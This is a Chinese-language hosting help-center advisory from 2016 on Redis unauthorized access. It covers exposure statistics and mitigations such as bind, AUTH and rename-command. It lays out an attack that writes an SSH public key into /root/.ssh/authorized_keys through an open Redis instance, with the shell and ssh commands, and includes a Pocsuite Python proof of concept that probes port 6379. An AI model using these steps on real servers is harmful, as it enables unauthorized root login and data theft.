• 1
  • 2
  • 3
  • 4
  • 5
mysql数据库问题 首 页  »  帮助中心  »  数据库  »  mysql数据库问题
Redis 未授权访问缺陷
发布日期:2016-4-27 13:4:3

   一、Redis概要

   成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

  二、漏洞描述

  Redis 安全模型的观念: “请不要将Redis暴露在公开网络中, 由于让不受信任的客户接触到Redis是非常危险的” 。

  之所以Redis 作者放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 尽管这个问题的并不是不能解决的, 但这在他的设计哲学中仍是不划算的。

   由于其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因,部分Redis 绑定在0.0.0.0:6379,并且没有开启认证(这是Redis的默认配置),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等(同样可以用到mysql),将会导致Redis服务直接暴露在公网上,导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

  我们利用Redis自身的相关方法,可进行写文件操作,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

  三、漏洞影响

     Redis 暴露在公网(即绑定在0.0.0.0:6379,目标IP公网可访问),并没有开启相关认证与添加相关安全策略情况下可受影响而导致被利用。

   通过ZoomEye 的搜索结果显示,有97700在公网可以直接访问的Redis服务。如图1所示:


    图1

  根据 ZoomEye 最新于2015年11月12日0点探测结果显示:

  总的存在无验证可直接利用 Redis 服务的目标全球有49099,其中中国有16477。其中被明着写入crackit的,就是已被黑的比例分别是全球65%(3.1万),中国67.5%(1.1万)。

  3.1. 漏洞分析与利用

  首先在本地生产公私钥文件,如图2所示:


   图2

  然后将公钥写入foo.txt文件,代码如下所示:

  $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

  再连接Redis写入文件,代码如下所示:


图3


图4

  通过上面的方法,这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里,然后攻击者直接执行以下所示的代码:

  $ ssh –i id_rsa root@192.168.1.11

  即可远程利用自己的私钥登录该服务器。

  当然,写入的目录不限于/root/.ssh 下的authorized_keys,也可以写入用户目录,不过Redis很多以root权限运行,所以写入root目录下,可以跳过猜用户的步骤。

  四、 Redis 未授权的其他危害与利用

   4.1 数据库数据泄露 

    作为数据库,Redis 保存着各种各样的数据,若存在未授权访问的情况,将会导致数据的泄露,其中包含保存的用户信息等,如图5所示:


     图5

  4.2 代码执行

    Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下所示:


  图 6

  一旦攻击者能够在服务器端执行任意代码, 攻击方式就会变得多且复杂, 这是非常危险的.

  通过Lua代码攻击者可以调用 redis.sha1hex() 函数,恶意利用 Redis 服务器进行 SHA-1 的破解。

  4.3 敏感信息泄露

  通过 Redis 的 INFO 命令, 可查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫,如图7所示


   图7

  我们可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。如以下所示的参考代码:

#!/usr/bin/env python
# -*- coding:utf-8 -*-

import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register


class TestPOC(POCBase):
    vulID = '89339'
    version = '1'
    author = ['Anonymous']
    vulDate = '2015-10-26'
    createDate = '2015-10-26'
    updateDate = '2015-10-26'
    references = ['http://sebug.net/vuldb/ssvid-89339']
    name = 'Redis 未授权访问 PoC'
    appPowerLink = 'http://redis.io/'
    appName = 'Redis'
    appVersion = 'All'
    vulType = 'Unauthorized access'
    desc = '''
        redis 默认不需要密码即可访问,黑客直接访问即可获取数据库中所有信息,造成严重的信息泄露。
    '''
    samples = ['']

    def _verify(self):
        result = {}
        payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and 'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Port'] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)

    def _attack(self):
        return self._verify()

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register(TestPOC)

  

  图8 全球无验证可直接利用 Redis 分布情况


  图9 全球无验证可直接利用 Redis TOP 10 国家与地区

  五、解决方案

  1.目前的临时解决方案

  •   配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
  •   配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
  •   配置rename-command CONFIG "RENAME_CONFIG", 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
  •   好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config

  2.官方解决方案

  目前暂无官方解决方案

  3.防护方案

  目前暂无防护方案

后面会更新mysql的相关文,请关注。